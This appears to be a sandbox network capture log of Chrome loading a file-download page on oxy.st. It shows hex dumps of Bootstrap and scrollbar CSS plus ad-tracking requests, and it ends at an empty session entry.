Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49790	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:59 UTC	714	OUT	GET /slake/asset/css/bootstrap.min.css HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:14:59 UTC	378	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 01:07:39 GMT Content-Type: text/css Content-Length: 144877 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-235ed" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 29241 DDG-Cache-Status: HIT
2024-06-15 09:14:59 UTC	16006	IN	Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 66 32 3b 2d 2d 70 Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610f2;--p
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 33 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 34 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a Data Ascii: flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-webkit-box-flex:
2024-06-15 09:14:59 UTC	12130	IN	Data Raw: 69 64 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 38 61 37 34 35 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 3a 76 61 6c 69 64 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 66 65 65 64 62 61 63 6b 2c 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c Data Ascii: id~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label::before,.was-validated .custom-file-input:valid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-val
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 30 2c 31 32 33 Data Ascii: ackground-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 31 32 33 2c 32 35 35 2c 2e 32 35 29 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 61 63 74 69 76 65 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 33 64 37 66 66 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 64 69 73 61 62 6c 65 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 Data Ascii: 123,255,.25)}.custom-control-input:active~.custom-control-label::before{color:#fff;background-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before{background-color:#e
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 6c 6c 73 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 2e 36 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 2e 36 32 35 72 65 6d 7d 2e 63 61 72 64 2d 69 6d 67 2d 6f 76 65 72 6c 61 79 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 3a 31 2e 32 35 72 65 6d 7d 2e 63 61 72 64 2d 69 6d 67 7b 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 63 61 6c 63 28 2e 32 35 72 65 6d 20 2d 20 31 70 78 29 7d 2e 63 61 72 64 2d 69 6d 67 2d 74 6f 70 7b 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 63 61 6c 63 28 2e 32 35 72 65 6d 20 2d 20 31 70 78 29 3b 62 6f 72 64 65 Data Ascii: lls{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.25rem - 1px);borde
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 70 78 29 7b 2e 6d 6f 64 61 6c 2d 6c 67 7b 6d 61 78 2d 77 69 64 74 68 3a 38 30 30 70 78 7d 7d 2e 74 6f 6f 6c 74 69 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 37 30 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 22 53 65 67 6f 65 20 55 49 22 2c 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 3b 66 6f 6e 74 2d 73 74 79 6c Data Ascii: px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-styl
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 3a 3a 62 65 66 6f 72 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 25 7d 2e 66 6c 65 78 2d 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 63 6f 6c 75 6d 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 Data Ascii: ::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-webkit-box-orient:vertical!important;-webkit-box-direction:norma
2024-06-15 09:14:59 UTC	16384	IN	Data Raw: 6f 61 74 2d 6d 64 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 6f 61 74 2d 6d 64 2d 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 6f 61 74 2d 6d 64 2d 6e 6f 6e 65 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 66 6c 6f 61 74 2d 6c 67 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 6f 61 74 2d 6c 67 2d 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 6f 61 74 2d 6c 67 2d 6e 6f 6e 65 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e Data Ascii: oat-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min
2024-06-15 09:14:59 UTC	2053	IN	Data Raw: 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 63 61 70 69 74 61 6c 69 7a 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 63 61 70 69 74 61 6c 69 7a 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 77 65 69 67 68 74 2d 6c 69 67 68 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 77 65 69 67 68 74 2d 6e 6f 72 6d 61 6c 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 77 65 69 67 68 74 2d 62 6f 6c 64 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 69 74 61 6c 69 63 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 Data Ascii: ercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-italic{font-style:i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49793	141.95.33.120	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:59 UTC	349	OUT	GET /lb/v1 HTTP/1.1 Host: lb.eu-1-id5-sync.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:59 UTC	309	IN	HTTP/1.1 200 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers content-type: application/json;charset=UTF-8 transfer-encoding: chunked date: Sat, 15 Jun 2024 09:14:59 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:14:59 UTC	39	IN	Data Raw: 32 31 0d 0a 7b 22 6c 62 22 3a 22 56 6d 4a 69 45 2b 44 4c 39 67 47 5a 67 47 57 72 53 5a 4e 34 30 41 3d 3d 22 7d 0d 0a Data Ascii: 21{"lb":"VmJiE+DL9gGZgGWrSZN40A=="}
2024-06-15 09:14:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49794	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:59 UTC	408	OUT	GET /bounce HTTP/1.1 Host: id5-sync.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
2024-06-15 09:14:59 UTC	239	IN	HTTP/1.1 200 OK date: Sat, 15 Jun 2024 09:14:59 GMT vary: Accept-Encoding content-type: text/plain;charset=utf-8 transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:14:59 UTC	36	IN	Data Raw: 31 45 0d 0a 7b 22 62 6f 75 6e 63 65 22 3a 7b 22 73 65 74 43 6f 6f 6b 69 65 22 3a 66 61 6c 73 65 7d 7d 0d 0a Data Ascii: 1E{"bounce":{"setCookie":false}}
2024-06-15 09:14:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49791	91.228.74.159	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:59 UTC	701	OUT	GET /pixel;r=1868691333;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Foxy.st%2Fd%2FSmUh;uht=2;fpan=1;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;ref=;d=oxy.st;dst=1;et=1718442896704;tzo=240;ogl=;ses=d168e0ce-727e-4636-bdcb-862f8bdc25b4;mdl= HTTP/1.1 Host: pixel.quantserve.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=666d5b92-60e70-cef8b-92979
2024-06-15 09:14:59 UTC	520	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:59 GMT Content-Type: image/gif Content-Length: 35 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Attribution-Reporting-Register-Trigger: {"event_trigger_data":[{"filters":[{"label":["K0JYi78fXq1otUId/akXtQ=="],"pcode":["p-6Fv0cGNfc_bw8"]}],"trigger_data":"1"}]} Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Pragma: no-cache Strict-Transport-Security: max-age=86400
2024-06-15 09:14:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 80 ff ff ff 00 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49800	52.49.242.239	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:59 UTC	489	OUT	GET /fire.js?pid=12771&url=https%3A%2F%2Foxy.st%2Fd%2FSmUh&hn_ver=76&fid=ed1cb979-77d8-4804-b8d9-49acdb18efcc&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: s.cpx.to Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:00 UTC	158	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:00 GMT Content-Length: 64 Connection: close Expires: Sat, 15 Jun 2024 09:15:00 GMT P3P: CP="NOI DEV ADM"
2024-06-15 09:15:00 UTC	64	IN	Data Raw: 72 75 62 69 63 6f 6e 2c 69 64 35 2c 64 62 6d 2c 4f 50 45 4e 58 2c 61 70 70 5f 6e 65 78 75 73 2c 70 75 62 6d 61 74 69 63 2c 66 69 72 73 74 49 64 2c 70 75 62 5f 63 6f 6d 6d 6f 6e 2c 75 69 64 32 Data Ascii: rubicon,id5,dbm,OPENX,app_nexus,pubmatic,firstId,pub_common,uid2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49807	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	728	OUT	GET /slake/asset/css/jquery.mCustomScrollbar.min.css HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:00 UTC	377	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 14:31:19 GMT Content-Type: text/css Content-Length: 42894 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-a78e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 585821 DDG-Cache-Status: HIT
2024-06-15 09:15:00 UTC	16007	IN	Data Raw: 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 7b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 69 6e 63 68 2d 7a 6f 6f 6d 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 69 6e 63 68 2d 7a 6f 6f 6d 7d 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 2e 6d 43 53 5f 6e 6f 5f 73 63 72 6f 6c 6c 62 61 72 2c 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 2e 6d 43 53 5f 74 6f 75 63 68 5f 61 63 74 69 6f 6e 7b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 61 75 74 6f 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 61 75 74 6f 7d 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 Data Ascii: .mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom}.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto}.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:1
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 43 53 42 5f 64 72 61 67 67 65 72 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 62 61 72 2c 2e 6d 43 53 2d 6c 69 67 68 74 2d 74 68 69 6e 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 62 61 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 37 70 78 20 61 75 74 6f 7d 2e 6d 43 53 2d 64 61 72 6b 2d 74 68 69 6e 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 52 61 69 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 7d 2e 6d 43 53 2d 64 Data Ascii: CSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:2px;margin:7px auto}.mCS-dark-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-d
2024-06-15 09:15:00 UTC	10503	IN	Data Raw: 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 3a 31 32 70 78 20 30 7d 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 2e 6d 43 53 2d 6d 69 6e 69 6d 61 6c 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2c 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 2e 6d 43 53 2d 6d 69 6e 69 6d 61 6c 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2c 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 2e 6d 43 53 2d 6d 69 6e 69 6d 61 6c 2d 64 61 72 6b 2b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 2b 2e 6d 43 53 42 5f 73 63 72 6f Data Ascii: right:0;margin:12px 0}.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools+.mCSB_scro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49804	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
